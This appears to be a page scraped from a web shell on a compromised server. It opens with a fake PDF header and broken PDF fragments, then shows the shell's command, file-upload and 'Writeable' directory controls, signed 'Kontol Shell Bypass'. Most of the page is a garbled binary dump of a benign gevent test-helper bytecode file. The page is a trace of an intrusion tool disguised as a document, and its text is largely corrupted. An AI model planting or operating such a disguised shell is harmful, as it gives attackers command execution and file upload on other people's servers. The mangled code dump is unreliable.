%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/gevent/testing/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/gevent/testing/__pycache__/leakcheck.cpython-39.pyc
a

�_g# �@s�ddlmZddlZddlZddlmZddlZzddlZWneyRdZYn0ddl	Z	ddl
Z	dd�ZGdd�de�Z
dd	�ZdS)
�)�print_functionN)�wrapscCs
d|_|S)a�
    Ignore the given object during leakchecks.

    Can be applied to a method, in which case the method will run, but
    will not be subject to leak checks.

    If applied to a class, the entire class will be skipped during leakchecks. This
    is intended to be used for classes that are very slow and cause problems such as
    test timeouts; typically it will be used for classes that are subclasses of a base
    class and specify variants of behaviour (such as pool sizes).
    T)�ignore_leakcheck)�func�r�E/vddos/python/lib/python3.9/site-packages/gevent/testing/leakcheck.py�ignores_leakcheck%src@s�eZdZeefZzejjZ	Wne
y:ddlmZ	Yn0dd�Zdd�Z
dd�Zd	d
�Zdd�Zd
d�Zdd�Zdd�ZdS)�_RefCountCheckerr)�callbackcCs"||_||_g|_i|_d|_dS)NF)�testcase�function�deltas�
peak_stats�needs_setUp)�selfrrrrr�__init__As
z_RefCountChecker.__init__c	Cs�||urdSz"||j��vs&||jkr,WdSWnttfyFYdS0t|�}||jvr^dS||jur�|jdur�|j	dur�dSdS�NFT)
�__dict__�values�_ignore_object_p�AttributeError�	TypeError�type�
IGNORED_TYPES�
CALLBACK_KINDr
�args)r�obj�kindrrrrKs ��

z!_RefCountChecker._ignore_object_pcCstjd|j|jd�S)N)�limitr�filter)�objgraph�growthrr�rrrr�_growthjsz_RefCountChecker._growthcCsR|sdSg}tdd�|D��}|D] \}}}|�d||||f�q"d�|�}|S)Nz<Unable to calculate growth>css|]\}}}t|�VqdS)N)�len)�.0�name�_rrr�	<genexpr>r�z0_RefCountChecker._report_diff.<locals>.<genexpr>z%-*s%9d %+9d�
)�max�append�join)rr!�lines�widthr&�count�delta�diffrrr�_report_diffms
z_RefCountChecker._report_diffcCs�t��}t��|jr(|j��d|j_zL|j|jg|�Ri|��W|j��|j�	�d|j_d|_|r�t�
�n0|j��|j�	�d|j_d|_|r�t�
�0dSr)�gc�	isenabled�disablerrZsetUpZskipTearDownrZtearDownZ
doCleanups�enable)rr�kwargsZ
gc_enabledrrr�	_run_testzs&



�

z_RefCountChecker._run_testcCs8dtjvrtjd��dtjvr0tjd��|��S)N�urlparsezurllib.parse)�sys�modules�clear_cacher#r"rrr�
_growth_after�s


z_RefCountChecker._growth_aftercCsL|j}|sdStjr$tdtjf��|dd�ddgkrHt|�dvrHdS|dd�gd�kr`dSt|�d	kr�t|d
d��dkr�dSt|�dkr�|ddkr�|d|dkr�|d|dkr�|�|�}td
||f��t|dd��dk�st|d
d��dk�s|d
d��d�dk�r d}nd}t|�|k�rHtd
||�|�f��dS)NTz"Generated uncollectable garbage %r���r)��F���)rrr����rA���zrefcount increased by %r
%sr@��)r
r4�garbage�AssertionErrorr$�sumr3r0)rr!r
r2rrrr�
_check_deltas�s0  8
D��z_RefCountChecker._check_deltascCs\td�D]}t��q|��}|�|�rX|�||�|��}|j�t	dd�|D���qdS)NrAcss|]}|dVqdS)r@Nr)r%�statrrrr(�r)z,_RefCountChecker.__call__.<locals>.<genexpr>)
�ranger4Zcollectr#rKr9r>r
r,rJ)rrr8r'r!rrr�__call__�s

z_RefCountChecker.__call__N)�__name__�
__module__�__qualname__�tuple�dictr�gevent�corer
rrZgevent._ffi.callbackrrr#r3r9r>rKrNrrrrr	4s

	1r	csZtdust�dd�rBtdur.ddl}|�d�t��dd��}|St���fdd��}|S)	NrFrz+objgraph not available, leakchecks disabledc_s|�d�dS)Nz%This method ignored during leakchecks)ZskipTest)r�_args�_kwargsrrr� _method_skipped_during_leakcheck�sz7wrap_refcount.<locals>._method_skipped_during_leakcheckcs&t|dd�rt�d��t|��||�S)NrFz$This class ignored during leakchecks)�getattr�unittestZSkipTestr	)rrr8��methodrr�wrapper�s
zwrap_refcount.<locals>.wrapper)r rY�warnings�warnr)r\r^rXr]rr[r�
wrap_refcount�s

r`)�
__future__rr;r4�	functoolsrrZr �ImportErrorrTZgevent.corer�objectr	r`rrrr�<module>s
"

Kontol Shell Bypass